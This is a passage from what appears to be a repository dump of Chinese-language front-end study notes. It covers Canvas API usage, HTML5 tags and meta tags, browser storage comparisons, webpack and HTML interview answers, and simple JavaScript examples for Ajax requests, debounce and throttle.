263 | - `clip()` 将当前正在构建的路径转换为当前的裁剪路径。 
264 | 
265 | ## 基本动画
266 | 
267 | ### 基本步骤
268 | 
269 | 1、清空 canvas  
270 | 2、保存 canvas 状态  
271 | 3、绘制动画图形（animated shapes）  
272 | 4、恢复 canvas 状态  
273 | 
274 | ### 操控动画
275 | 
276 | - setInterval(function, delay)
277 | - setTimeout(function, delay)
278 | - requestAnimationFrame(callback)
279 | 
280 | ## 像素操作
281 | 
282 | ### 保存图片
283 | 
284 | - canvas.toDataURL('image/png')
285 | - canvas.toDataURL('image/jpeg', quality)
286 |   - quality: 可以有选择地提供从0到1的品质量，1表示最好品质，0基本不被辨析但有比较小的文件大小。
287 | - canvas.toBlob(callback, type, encoderOptions)
288 | 
289 | ## 点击区域
290 | 
291 | - boolean ctx.isPointInPath(x, y)
292 | - boolean ctx.isPointInPath(x, y, fillRule)
293 |   - fillRule: 用来决定点在路径内还是在路径外的算法。  
294 |   允许的值：  
295 |     - "nonzero": 非零环绕规则 ，默认的规则。  
296 |     - "evenodd": 奇偶环绕原则 。  
297 | - CanvasRenderingContext2D.addHitRegion() (实验室功能)
298 | - CanvasRenderingContext2D.removeHitRegion()
299 | - CanvasRenderingContext2D.clearHitRegions()
300 | 
301 | 示例：
302 | ```js
303 | var canvas = document.getElementById("canvas");
304 | var ctx = canvas.getContext("2d");
305 | 
306 | ctx.beginPath();
307 | ctx.arc(70, 80, 10, 0, 2 * Math.PI, false);
308 | ctx.fill();
309 | ctx.addHitRegion({id: "circle"});
310 | 
311 | canvas.addEventListener("mousemove", function(event){
312 |   if(event.region) {
313 |     alert("hit region: " + event.region);
314 |   }
315 | });
316 | ```
317 | 
318 | ## canvas 的优化
319 | 
320 | - 在离屏canvas上预渲染相似的图形或重复的对象
321 | - 避免浮点数的坐标点，用整数取而代之
322 | - 不要在用drawImage时缩放图像
323 | - 使用多层画布去画一个复杂的场景
324 | - 用CSS设置大的背景图
325 | - 用CSS transforms特性缩放画布
326 | - 关闭透明度（var ctx = canvas.getContext('2d', { alpha: false });）
327 | 
328 | 更多贴士：
329 | 
330 | - 将画布的函数调用集合到一起（例如，画一条折线，而不要画多条分开的直线）
331 | - 避免不必要的画布状态改变
332 | - 渲染画布中的不同点，而非整个新状态
333 | - 尽可能避免shadowBlur特性
334 | - 尽可能避免text rendering
335 | - 使用不同的办法去清除画布(clearRect() vs. fillRect() vs. 调整canvas大小)
336 | - 有动画，请使用window.requestAnimationFrame() 而非window.setInterval()
337 | - 请谨慎使用大型物理库
338 | 
339 | 


--------------------------------------------------------------------------------
/HTML/HTML.md:
--------------------------------------------------------------------------------
  1 | <!-- START doctoc generated TOC please keep comment here to allow auto update -->
  2 | <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
  3 | **Table of Contents**  *generated with [DocToc](https://github.com/thlorenz/doctoc)*
  4 | 
  5 | # HTML
  6 | 
  7 | - [HTML5 主要功能](#html5-%E4%B8%BB%E8%A6%81%E5%8A%9F%E8%83%BD)
  8 | - [HTML5 部分新标签](#html5-%E9%83%A8%E5%88%86%E6%96%B0%E6%A0%87%E7%AD%BE)
  9 | - [常用 Meta 标签](#%E5%B8%B8%E7%94%A8-meta-%E6%A0%87%E7%AD%BE)
 10 | - [Cookie, LocalStorage 与 SessionStorage](#cookie-localstorage-%E4%B8%8E-sessionstorage)
 11 | - [Canvas 笔记与Demos](./Canvas.md)
 12 | 
 13 | <!-- END doctoc generated TOC please keep comment here to allow auto update -->
 14 | 
 15 | ## HTML5 主要功能
 16 | - 语义化标签：能够让你更恰当地描述你的内容是什么。
 17 | - 离线 & 存储：能够让网页在客户端本地存储数据以及更高效地离线运行。
 18 | - 多媒体：使 video 和 audio 成为了在所有 Web 中的一等公民。
 19 | - 2D/3D 绘图 & 效果：提供了一个更加分化范围的呈现选择。
 20 | - 性能 & 集成：提供了非常显著的性能优化和更有效的计算机硬件使用。
 21 | 
 22 | ## HTML5 部分新标签
 23 | 
 24 | [HTML5 标签列表](https://developer.mozilla.org/zh-CN/docs/Web/Guide/HTML/HTML5/HTML5_element_list)
 25 | 
 26 | | 标签 | 描述 |
 27 | | :- | :- |
 28 | | `<template>` | 通过 JavaScript 在运行时实例化内容的容器。 |
 29 | | `<header>` | 定义页面或章节的头部。它经常包含 logo、页面标题和导航性的目录。 |
 30 | | `<footer>` | 定义页面或章节的尾部。它经常包含版权信息、法律信息链接和反馈建议用的地址。 |
 31 | | `<main>` | 定义文档中主要或重要的内容。 |
 32 | | `<section>` | 定义文档中的一个章节。 |
 33 | | `<nav>` | 定义只包含导航链接的章节。 |
 34 | | `<article>` | 定义可以独立于内容其余部分的完整独立内容块。 |
 35 | | `<aside>` | 定义和页面内容关联度较低的内容——如果被删除，剩下的内容仍然很合理。 |
 36 | | `<video>` | 代表一段视频 及其视频文件和字幕，并提供了播放视频的用户界面。 |
 37 | | `<audio>` | 代表一段声音 ，或音频流 。 |
 38 | | `<source>` | 为 `<video>` 或 `<audio>` 这类媒体元素指定媒体源 。 |
 39 | | `<track>` | 为 `<video>` 或 `<audio>` 这类媒体元素指定文本轨道（字幕） 。 |
 40 | | `<canvas>` | 代表位图区域 ，可以通过脚本在它上面实时呈现图形，如图表、游戏绘图等。 |
 41 | | `<embed>` | 代表一个嵌入 的外部资源，如应用程序或交互内容。 |
 42 | | `<svg>` | 定义一个嵌入式矢量图 。 |
 43 | | `<math>` | 定义一段数学公式 。 |
 44 | | `<summary>` | 代表 `<details>` 元素的综述 或标题 。 |
 45 | | `<details>` | 代表一个用户可以(点击)获取额外信息或控件的小部件 。 |
 46 | | `<menu>` | 代表菜单。 |
 47 | | `<menuitem>` | 代表一个用户可以点击的菜单项。 |
 48 | 
 49 | ## 常用 Meta 标签
 50 | 
 51 | [HTML meta标签总结与属性使用介绍](https://segmentfault.com/a/1190000004279791)
 52 | 
 53 | meta标签共有两个属性，分别是http-equiv属性和name属性。
 54 | - name 属性：主要用于描述网页，比如网页的关键词，叙述等。
 55 | - http-equiv 属性：equivalent，把 content 属性关联到 HTTP 头部。
 56 | - scheme 属性：定义用于翻译 content 属性值的格式。
 57 | 
 58 | ```html 
 59 | <meta charset="utf-8">    声明文档使用的字符编码
 60 | <meta name="author" content="name, email@gmail.com"/>    网页作者
 61 | <meta name="keywords" content="keywords1,keywords2"/>      页面关键词
 62 | <meta name="description" content="不超过150个字符"/>       页面描述
 63 | <meta name="viewport" content="initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no"> 为移动设备添加 viewport
 64 | <meta name="renderer" content="webkit">  默认渲染内核
 65 | <meta name="robots" content="index,follow">
 66 | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>   指定IE和Chrome使用最新版本渲染当前页面
 67 | <meta http-equiv="Cache-Control" content="no-siteapp" />   禁止百度自动转码
 68 | 设置页面不缓存
 69 | <meta http-equiv="pragma" content="no-cache">
 70 | <meta http-equiv="cache-control" content="no-cache">
 71 | <meta http-equiv="expires" content="0″>
 72 | ```
 73 | 
 74 | ## Cookie, LocalStorage 与 SessionStorage
 75 | 
 76 | <table style="border: 1px solid #ccc;">
 77 | 	<thead>
 78 | 		<tr>
 79 | 			<th>特性</th>
 80 | 			<th>Cookie</th>
 81 | 			<th>localStorage</th>
 82 | 			<th>sessionStorage</th>
 83 | 		</tr>
 84 | 	</thead>
 85 | 	<tbody>
 86 | 		<tr>
 87 | 			<td>数据的生命期</td>
 88 | 			<td>一般由服务器生成，可设置失效时间。如果在浏览器端生成Cookie，默认是关闭浏览器后失效</td>
 89 | 			<td>除非被清除，否则永久保存</td>
 90 | 			<td>仅在当前会话下有效，关闭页面或浏览器后被清除</td>
 91 | 		</tr>
 92 | 		<tr>
 93 | 			<td>存放数据大小</td>
 94 | 			<td>4K左右</td>
 95 | 			<td colspan="2">一般为5MB</td>
 96 | 		</tr>
 97 | 		<tr>
 98 | 			<td>与服务器端通信</td>
 99 | 			<td>每次都会携带在HTTP头中，如果使用cookie保存过多数据会带来性能问题</td>
100 | 			<td colspan="2">仅在客户端（即浏览器）中保存，不参与和服务器的通信</td>
101 | 		</tr>
102 | 		<tr>
103 | 			<td>易用性</td>
104 | 			<td>需要程序员自己封装，源生的Cookie接口不友好</td>
105 | 			<td colspan="2">源生接口可以接受，亦可再次封装来对Object和Array有更好的支持</td>
106 | 		</tr>
107 | 	</tbody>
108 | </table>
109 | 


--------------------------------------------------------------------------------
/HTML/Images/Canvas_default_grid.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/HTML/Images/Canvas_default_grid.png


--------------------------------------------------------------------------------
/HTML/Images/Canvas_drawimage.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/HTML/Images/Canvas_drawimage.jpg


--------------------------------------------------------------------------------
/Interview/FE-interview/img/display-adjust.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Interview/FE-interview/img/display-adjust.png


--------------------------------------------------------------------------------
/Interview/FE-interview/img/element-mask.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Interview/FE-interview/img/element-mask.jpg


--------------------------------------------------------------------------------
/Interview/FE-interview/img/element-size.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Interview/FE-interview/img/element-size.png


--------------------------------------------------------------------------------
/Interview/FE-interview/img/sort-compare.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Interview/FE-interview/img/sort-compare.png


--------------------------------------------------------------------------------
/Interview/FE-interview/img/tip-box.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Interview/FE-interview/img/tip-box.jpg


--------------------------------------------------------------------------------
/Interview/README.md:
--------------------------------------------------------------------------------
 1 | # 前端面试题(持续收集中)
 2 | 
 3 | ## [front-end-interview-handbook](https://github.com/yangshun/front-end-interview-handbook)
 4 | 
 5 | >+ [HTML](./handbook/html-questions.md)
 6 | >+ [CSS](./handbook/css-questions.md)
 7 | >+ [Javascript](./handbook/javascript-questions.md)
 8 | 
 9 | ## [qiu-deqing/FE-interview](https://github.com/jirengu/FE-interview)
10 | >+ [正文](./FE-interview/README.md)
11 | 


--------------------------------------------------------------------------------
/Interview/WebPack/webpack01.md:
--------------------------------------------------------------------------------
 1 | # 前端面试之webpack面试常见问题
 2 | 
 3 | [原文链接](https://segmentfault.com/a/1190000014148611)
 4 | 
 5 | ## 概念问题一：什么是webpack和grunt和gulp有什么不同
 6 | 
 7 | > 答案：Webpack是一个模块打包器，他可以递归的打包项目中的所有模块，最终生成几个打包后的文件。他和其他的工具最大的不同在于他支持code-splitting、模块化(AMD，ESM，CommonJs)、全局分析。
 8 | 
 9 | ## 概念问题二：什么是bundle,什么是chunk，什么是module?
10 | 
11 | > 答案：bundle是由webpack打包出来的文件，chunk是指webpack在进行模块的依赖分析的时候，代码分割出来的代码块。module是开发中的单个模块。
12 | 
13 | ## 概念问题三：什么是Loader?什么是Plugin?
14 | 
15 | > 答案：  
16 | >  1）Loaders是用来告诉webpack如何转化处理某一类型的文件，并且引入到打包出的文件中  
17 | >  2）Plugin是用来自定义webpack打包过程的方式，一个插件是含有apply方法的一个对象，通过这个方法可以参与到整个webpack打包的各个流程(生命周期)。
18 | 
19 | ## 配置问题:如何可以自动生成webpack配置？
20 | 
21 | > 答案： webpack-cli /vue-cli /etc ...脚手架工具
22 | 
23 | ## 开发问题一：webpack-dev-server和http服务器如nginx有什么区别?
24 | 
25 | > 答案：webpack-dev-server使用内存来存储webpack开发环境下的打包文件，并且可以使用模块热更新，他比传统的http服务对开发更加简单高效。
26 | 
27 | ## 开发问题二:什么 是模块热更新？
28 | 
29 | > 答案:模块热更新是webpack的一个功能，他可以使得代码修改过后不用刷新浏览器就可以更新，是高级版的自动刷新浏览器。
30 | 
31 | ## 优化问题一：什么是长缓存？在webpack中如何做到长缓存优化？
32 | 
33 | > 答案：浏览器在用户访问页面的时候，为了加快加载速度，会对用户访问的静态资源进行存储，但是每一次代码升级或是更新，都需要浏览器去下载新的代码，最方便和简单的更新方式就是引入新的文件名称。在webpack中可以在output纵输出的文件指定chunkhash,并且分离经常更新的代码和框架代码。通过NameModulesPlugin或是HashedModuleIdsPlugin使再次打包文件名不变。
34 | 
35 | ## 优化问题二：什么是Tree-shaking?CSS可以Tree-shaking吗
36 | 
37 | > 答案：Tree-shaking是指在打包中去除那些引入了，但是在代码中没有被用到的那些死代码。在webpack中Tree-shaking是通过uglifySPlugin来Tree-shaking JS。Css需要使用Purify-CSS。
38 | 


--------------------------------------------------------------------------------
/Interview/handbook/html-questions.md:
--------------------------------------------------------------------------------
  1 | # HTML 问题
  2 | 
  3 | 本章节是[前端开发者面试问题 - HTML 部分](https://github.com/h5bp/Front-end-Developer-Interview-Questions#html-questions)的参考答案。 欢迎提出 PR 进行建议和指正！
  4 | 
  5 | * [`DOCTYPE`有什么用？](#doctype有什么用)
  6 | * [如何提供包含多种语言内容的页面？](#如何提供包含多种语言内容的页面)
  7 | * [在设计开发多语言网站时，需要留心哪些事情？](#在设计开发多语言网站时需要留心哪些事情)
  8 | * [什么是`data-`属性？](#什么是data-属性)
  9 | * [将 HTML5 看作成开放的网络平台，什么是 HTML5 的基本构件（building block）？](#将-html5-看作成开放的网络平台什么是-html5-的基本构件building-block)
 10 | * [请描述`cookie`、`sessionStorage`和`localStorage`的区别。](#请描述cookiesessionstorage和localstorage的区别)
 11 | * [请描述`<script>`、`<script async>`和`<script defer>`的区别。](#请描述scriptscript-async和script-defer的区别)
 12 | * [为什么最好把 CSS 的`<link>`标签放在`<head></head>`之间？为什么最好把 JS 的`<script>`标签恰好放在`</body>`之前，有例外情况吗？](#为什么最好把css的link标签放在headhead之间为什么最好把js的script标签恰好放在body之前有例外情况吗)
 13 | * [什么是渐进式渲染（progressive rendering）？](#什么是渐进式渲染progressive-rendering)
 14 | * [为什么在`<img>`标签中使用`srcset`属性？请描述浏览器遇到该属性后的处理过程。](#为什么在img标签中使用srcset属性请描述浏览器遇到该属性后的处理过程)
 15 | * [你有过使用不同模版语言的经历吗？](#你有过使用不同模版语言的经历吗)
 16 | 
 17 | ### `DOCTYPE`有什么用？
 18 | 
 19 | `DOCTYPE`是“document type”的缩写。它是 HTML 中用来区分标准模式和[怪异模式](https://quirks.spec.whatwg.org/#history)的声明，用来告知浏览器使用标准模式渲染页面。
 20 | 
 21 | 从中获得的启发：在页面开始处添加`<!DOCTYPE html>`即可。
 22 | 
 23 | ###### 参考
 24 | 
 25 | * https://stackoverflow.com/questions/7695044/what-does-doctype-html-do
 26 | * https://www.w3.org/QA/Tips/Doctype
 27 | * https://quirks.spec.whatwg.org/#history
 28 | 
 29 | [[↑] 回到顶部](#html-问题)
 30 | 
 31 | ### 如何提供包含多种语言内容的页面？
 32 | 
 33 | 这个问题有点问得含糊其辞，我认为这是在询问最常见的情况：如何提供包含多种语言内容的页面，并保证页面内容语言的一致性。
 34 | 
 35 | 当客户端向服务器发送 HTTP 请求时，通常会发送有关语言首选项的信息，比如使用`Accept-Language`请求头。如果替换语言存在，服务器可以利用该信息返回与之相匹配的 HTML 文档。返回的 HTML 文档还应在`<html>`标签中声明`lang`属性，比如`<html lang="en">...</html>`
 36 | 
 37 | 在后台中，HTML 将包含`i18n`占位符和待以替换的内容，这些按照不同语言，以 YML 或 JSON 格式存储。然后，服务器将动态生成指定语言内容的 HTML 页面。整个过程通常需要借助后台框架实现。
 38 | 
 39 | ###### 参考
 40 | 
 41 | * https://www.w3.org/International/getting-started/language
 42 | 
 43 | [[↑] 回到顶部](#html-问题)
 44 | 
 45 | ### 在设计开发多语言网站时，需要留心哪些事情？
 46 | 
 47 | * 在 HTML 中使用`lang`属性。
 48 | * 引导用户切换到自己的母语——让用户能够轻松地切换到自己的国家或语言，而不用麻烦。
 49 | * 在图片中展示文本会阻碍网站规模增长——把文本放在图片中展示，仍然是一种非常流行的方式。这样做可以在所有终端上，都能显示出美观的非系统字体。然而，为了翻译图片中的文本，需要为每种语言单独创建对应的图片，这种做法很容易在图片数量不断增长的过程中失控。
 50 | * 限制词语或句子的长度——网页内容在使用其他语言表述时，文字长度会发生变化。设计时，需要警惕文字长度溢出布局的问题，最好不要使用受文字长度影响较大的设计。比如标题、标签、按钮的设计，往往很受文字长度影响，这些设计中的文字与正文或评论部分不同，一般不可以自由换行。
 51 | * 注意颜色的使用——颜色在不同的语言和文化中，意义和感受是不同的。设计时应该使用恰当的颜色。
 52 | * 日期和货币的格式化——日期在不同的国家和地区，会以不同的方式显示。比如美国的日期格式是“May 31, 2012”，而在欧洲部分地区，日期格式是“31 May 2012”。
 53 | * 不要使用连接的翻译字符串——不要做类似这样的事情，比如`“今天的日期是”+具体日期`。这样做可能会打乱其他语言的语序。替代方案是，为每种语言编写带变量替换的模版字符串。请看下面两个分别用英语和中文表示的句子：`I will travel on {% date %}`和`{% date %} 我会出发`。可以看到，语言的语法规则不同，变量的位置是不同的。
 54 | * 注意语言阅读的方向——在英语中，文字是从左向右阅读的；而在传统日语中，文字是从右向左阅读的。
 55 | 
 56 | ###### 参考
 57 | 
 58 | * https://www.quora.com/What-kind-of-things-one-should-be-wary-of-when-designing-or-developing-for-multilingual-sites
 59 | 
 60 | [[↑] 回到顶部](#html-问题)
 61 | 
 62 | ### 什么是`data-`属性？
 63 | 
 64 | 在 JavaScript 框架变得流行之前，前端开发者经常使用`data-`属性，把额外数据存储在 DOM 自身中。当时没有其他 Hack 手段（比如使用非标准属性或 DOM 上额外属性）。这样做是为了将自定义数据存储到页面或应用中，对此没有其他更适当的属性或元素。
 65 | 
 66 | 而现在，不鼓励使用`data-`属性。原因之一是，用户可以通过在浏览器中利用检查元素，轻松地修改属性值，借此修改数据。数据模型最好存储在 JavaScript 本身中，并利用框架提供的数据绑定，使之与 DOM 保持更新。
 67 | 
 68 | ###### 参考
 69 | 
 70 | * http://html5doctor.com/html5-custom-data-attributes/
 71 | * https://www.w3.org/TR/html5/dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes
 72 | 
 73 | [[↑] 回到顶部](#html-问题)
 74 | 
 75 | ### 将 HTML5 看作成开放的网络平台，什么是 HTML5 的基本构件（building block）？
 76 | 
 77 | * 语义 - 提供更准确地描述内容。
 78 | * 连接 - 提供新的方式与服务器通信。
 79 | * 离线和存储 - 允许网页在本地存储数据并有效地离线运行。
 80 | * 多媒体 - 在 Open Web 中，视频和音频被视为一等公民（first-class citizens）。
 81 | * 2D/3D 图形和特效 - 提供更多种演示选项。
 82 | * 性能和集成 - 提供更快的访问速度和性能更好的计算机硬件。
 83 | * 设备访问 - 允许使用各种输入、输出设备。
 84 | * 外观 - 可以开发丰富的主题。
 85 | 
 86 | ###### 参考
 87 | 
 88 | * https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/HTML5
 89 | 
 90 | [[↑] 回到顶部](#html-问题)
 91 | 
 92 | ### 请描述`cookie`、`sessionStorage`和`localStorage`的区别。
 93 | 
 94 | 上面提到的技术名词，都是在客户端以键值对存储的存储机制，并且只能将值存储为字符串。
 95 | 
 96 | |                                                    | `cookie`                                           | `localStorage` | `sessionStorage` |
 97 | | -------------------------------------------------- | -------------------------------------------------- | -------------- | ---------------- |
 98 | | 由谁初始化                                         | 客户端或服务器，服务器可以使用`Set-Cookie`请求头。 | 客户端         | 客户端           |
 99 | | 过期时间                                           | 手动设置                                           | 永不过期       | 当前页面关闭时   |
100 | | 在当前浏览器会话（browser sessions）中是否保持不变 | 取决于是否设置了过期时间                           | 是             | 否               |
101 | | 是否随着每个 HTTP 请求发送给服务器                 | 是，Cookies 会通过`Cookie`请求头，自动发送给服务器 | 否             | 否               |
102 | | 容量（每个域名）                                   | 4kb                                                | 5MB            | 5MB              |
103 | | 访问权限                                           | 任意窗口                                           | 任意窗口       | 当前页面窗口     |
104 | 
105 | ###### 参考
106 | 
107 | * https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
108 | * http://tutorial.techaltum.com/local-and-session-storage.html
109 | 
110 | [[↑] 回到顶部](#html-问题)
111 | 
112 | ### 请描述`<script>`、`<script async>`和`<script defer>`的区别。
113 | 
114 | * `<script>` - HTML 解析中断，脚本被提取并立即执行。执行结束后，HTML 解析继续。
115 | * `<script async>` - 脚本的提取、执行的过程与 HTML 解析过程并行，脚本执行完毕可能在 HTML 解析完毕之前。当脚本与页面上其他脚本独立时，可以使用`async`，比如用作页面统计分析。
116 | * `<script defer>` - 脚本仅提取过程与 HTML 解析过程并行，脚本的执行将在 HTML 解析完毕后进行。如果有多个含`defer`的脚本，脚本的执行顺序将按照在 document 中出现的位置，从上到下顺序执行。
117 | 
118 | 注意：没有`src`属性的脚本，`async`和`defer`属性会被忽略。
119 | 
120 | ###### 参考
121 | 
122 | * http://www.growingwiththeweb.com/2014/02/async-vs-defer-attributes.html
123 | * https://stackoverflow.com/questions/10808109/script-tag-async-defer
124 | * https://bitsofco.de/async-vs-defer/
125 | 
126 | [[↑] 回到顶部](#html-问题)
127 | 
128 | ### 为什么最好把 CSS 的`<link>`标签放在`<head></head>`之间？为什么最好把 JS 的`<script>`标签恰好放在`</body>`之前，有例外情况吗？
129 | 
130 | **把`<link>`放在`<head>`中**
131 | 
132 | 把`<link>`标签放在`<head></head>`之间是规范要求的内容。此外，这种做法可以让页面逐步呈现，提高了用户体验。将样式表放在文档底部附近，会使许多浏览器（包括 Internet Explorer）不能逐步呈现页面。一些浏览器会阻止渲染，以避免在页面样式发生变化时，重新绘制页面中的元素。这种做法可以防止呈现给用户空白的页面或没有样式的内容。
133 | 
134 | **把`<script>`标签恰好放在`</body>`之前**
135 | 
136 | 脚本在下载和执行期间会阻止 HTML 解析。把`<script>`标签放在底部，保证 HTML 首先完成解析，将页面尽早呈现给用户。
137 | 
138 | 例外情况是当你的脚本里包含`document.write()`时。但是现在，`document.write()`不推荐使用。同时，将`<script>`标签放在底部，意味着浏览器不能开始下载脚本，直到整个文档（document）被解析。也许，对此比较好的做法是，`<script>`使用`defer`属性，放在`<head>`中。
139 | 
140 | ###### 参考
141 | 
142 | * https://developer.yahoo.com/performance/rules.html#css_top
143 | 
144 | [[↑] 回到顶部](#html-问题)
145 | 
146 | ### 什么是渐进式渲染（progressive rendering）？
147 | 
148 | 渐进式渲染是用于提高网页性能（尤其是提高用户感知的加载速度），以尽快呈现页面的技术。
149 | 
150 | 在以前互联网带宽较小的时期，这种技术更为普遍。如今，移动终端的盛行，而移动网络往往不稳定，渐进式渲染在现代前端开发中仍然有用武之地。
151 | 
152 | 一些举例：
153 | 
154 | * 图片懒加载——页面上的图片不会一次性全部加载。当用户滚动页面到图片部分时，JavaScript 将加载并显示图像。
155 | * 确定显示内容的优先级（分层次渲染）——为了尽快将页面呈现给用户，页面只包含基本的最少量的 CSS、脚本和内容，然后可以使用延迟加载脚本或监听`DOMContentLoaded`/`load`事件加载其他资源和内容。
156 | * 异步加载 HTML 片段——当页面通过后台渲染时，把 HTML 拆分，通过异步请求，分块发送给浏览器。更多相关细节可以在[这里](http://www.ebaytechblog.com/2014/12/08/async-fragments-rediscovering-progressive-html-rendering-with-marko/)找到。
157 | 
158 | ###### 参考
159 | 
160 | * https://stackoverflow.com/questions/33651166/what-is-progressive-rendering
161 | * http://www.ebaytechblog.com/2014/12/08/async-fragments-rediscovering-progressive-html-rendering-with-marko/
162 | 
163 | [[↑] 回到顶部](#html-问题)
164 | 
165 | ### 为什么在`<img>`标签中使用`srcset`属性？请描述浏览器遇到该属性后的处理过程。
166 | 
167 | 因为需要设计响应式图片。我们可以使用两个新的属性——`srcset` 和 `sizes`——来提供更多额外的资源图像和提示，帮助浏览器选择正确的一个资源。
168 | 
169 | **srcset** 定义了我们允许浏览器选择的图像集，以及每个图像的大小。
170 | 
171 | **sizes** 定义了一组媒体条件（例如屏幕宽度）并且指明当某些媒体条件为真时，什么样的图片尺寸是最佳选择。
172 | 
173 | 所以，有了这些属性，浏览器会：
174 | 
175 | 1. 查看设备宽度
176 | 2. 检查 sizes 列表中哪个媒体条件是第一个为真
177 | 3. 查看给予该媒体查询的槽大小
178 | 4. 加载 srcset 列表中引用的最接近所选的槽大小的图像
179 | 
180 | ###### 参考
181 | 
182 | * https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images
183 | 
184 | [[↑] 回到顶部](#html-问题)
185 | 
186 | ### 你有过使用不同模版语言的经历吗？
187 | 
188 | 有过，比如 Pug （以前叫 Jade）、 ERB、 Slim、 Handlebars、 Jinja、 Liquid 等等。在我看来，这些模版语言大多是相似的，都提供了用于展示数据的内容替换和过滤器的功能。大部分模版引擎都支持自定义过滤器，以展示自定义格式的内容。
189 | 
190 | [[↑] 回到顶部](#html-问题)
191 | 
192 | ### 其它答案
193 | 
194 | * https://neal.codes/blog/front-end-interview-questions-html/
195 | * http://peterdoes.it/2015/12/03/a-personal-exercise-front-end-job-interview-questions-and-my-answers-all/
196 | 
197 | ---
198 | 


--------------------------------------------------------------------------------
/JavaScript/Docs/Ajax.md:
--------------------------------------------------------------------------------
 1 | # Ajax 相关
 2 | 
 3 | ## 实现 ajax 请求
 4 | 
 5 | 回调函数：
 6 | ```js
 7 | var Request = {
 8 |     get: function(url, fn) {
 9 |         // XMLHttpRequest对象用于在后台与服务器交换数据
10 |         var xhr = new XMLHttpRequest();
11 |         xhr.open('GET', url, true);
12 |         xhr.onreadystatechange = function() {
13 |             // readyState == 4说明请求已完成
14 |             if (xhr.readyState == 4 && xhr.status == 200) {
15 |                 // 从服务器获得数据
16 |                 fn.call(this, xhr.responseText);
17 |             }
18 |         };
19 |         xhr.send();
20 |     }
21 | }
22 | ```
23 | 
24 | 使用 Promise
25 | 
26 | ```js
27 | var Request = {
28 |   get: function(url) {
29 |       return new Promise((resolve, reject) => {
30 |           var xhr = new XMLHttpRequest();
31 |           xhr.open('GET', url, true);
32 |           xhr.onreadystatechange = function() {
33 |               // readyState == 4说明请求已完成
34 |               if (xhr.readyState == 4 && xhr.status == 200) {
35 |                   // 从服务器获得数据
36 |                   resolve(xhr.responseText)
37 |               }
38 |           };
39 |           xhr.send();
40 |       })
41 |   },
42 | }
43 | ```
44 | 
45 | ## 取消 ajax 请求
46 | 
47 | ```js
48 | var native = new XMLHttpRequest();
49 | native.open("GET","https://api.github.com/");
50 | native.send();
51 | native.onreadystatechange=function(){
52 |     if(native.readyState==4&&native.status==200){
53 |         console.log(native.response);           
54 |     }else{
55 |         console.log(native.status);
56 |     }
57 | }
58 | native.abort();
59 | ```
60 | 


--------------------------------------------------------------------------------
/JavaScript/Docs/ArrowFunction.md:
--------------------------------------------------------------------------------
 1 | # 箭头函数和普通函数的区别
 2 | 
 3 | 箭头函数特征：
 4 | 
 5 | - 1、函数体内的this对象是定义时所在的对象，而不是使用时所在的对象。
 6 | - 2、不可当做构造函数。
 7 | - 3、不可以使用arguments对象，该对象在函数体内不存在，如果要用，可以使用rest参数替代。
 8 | - 4、不可以使用yield命令，因此箭头函数不能用作Generator函数。
 9 | 
10 | 由于箭头函数没有自己的this，当然不能用call(), apply(), bind()这些方法去改变this的指向。
11 | 
12 | 《ES6标准入门》
13 | 


--------------------------------------------------------------------------------
/JavaScript/Docs/NodeMutiThread.md:
--------------------------------------------------------------------------------
1 | # Node 多线程
2 | 
3 | ## Node.js 原生的 cluster
4 | 
5 | [cluster 官网](https://nodejs.org/api/cluster.html)
6 | 


--------------------------------------------------------------------------------
/JavaScript/Docs/debounceAndThrottle.md:
--------------------------------------------------------------------------------
 1 | # 函数防抖和函数节流
 2 | 
 3 | ## 函数防抖
 4 | 
 5 | > 概念
 6 | 
 7 | 当调用动作过n毫秒后，才会执行该动作，若在这n毫秒内又调用此动作则将重新计算执行时间。
 8 | 
 9 | > 使用场景
10 | 
11 | - window对象的resize、scroll事件
12 | - 对于输入框连续输入进行AJAX验证时，用函数防抖能有效减少请求次数
13 | - 给按钮加函数防抖防止表单多次提交
14 | 
15 | > 简单实现函数防抖（debounce）
16 | 
17 | ```js
18 | function _debounce(fn,wait){
19 |     var timer = null;
20 |     return function(){
21 |         clearTimeout(timer)
22 |         timer = setTimeout(()=>{
23 |             fn()
24 |         }, wait)
25 |     }
26 | }
27 | 
28 | function _log(){
29 |     console.log(1)
30 | }
31 | window.onscroll = _debounce(_log, 500)
32 | ```
33 | 
34 | ## 函数节流
35 | 
36 | > 概念
37 | 
38 | 预先设定一个执行周期，当调用动作的时刻大于等于执行周期则执行该动作，然后进入下一个新周期。
39 | 
40 | > 使用场景
41 | 
42 | - DOM 元素的拖拽功能实现（mousemove）
43 | - 射击游戏的 mousedown/keydown 事件（单位时间只能发射一颗子弹）
44 | - 计算鼠标移动的距离（mousemove）
45 | - Canvas 模拟画板功能（mousemove）
46 | - 搜索联想（keyup）
47 | - 监听滚动事件判断是否到页面底部自动加载更多：给 scroll 加了 debounce 后，只有用户停止滚动后，才会判断是否到了页面底部；如果是 throttle 的话，只要页面滚动就会间隔一段时间判断一次
48 | 
49 | > 简单实现函数节流（throttle）
50 | 
51 | ```js
52 | 
53 | function _throttle(fn, wait, time){
54 |     var previous = null; // 记录上一次运行的时间
55 |     var timer = null;
56 | 
57 |     return function(){
58 |         var now = +new Date();
59 | 
60 |         if(!previous) previous = now;
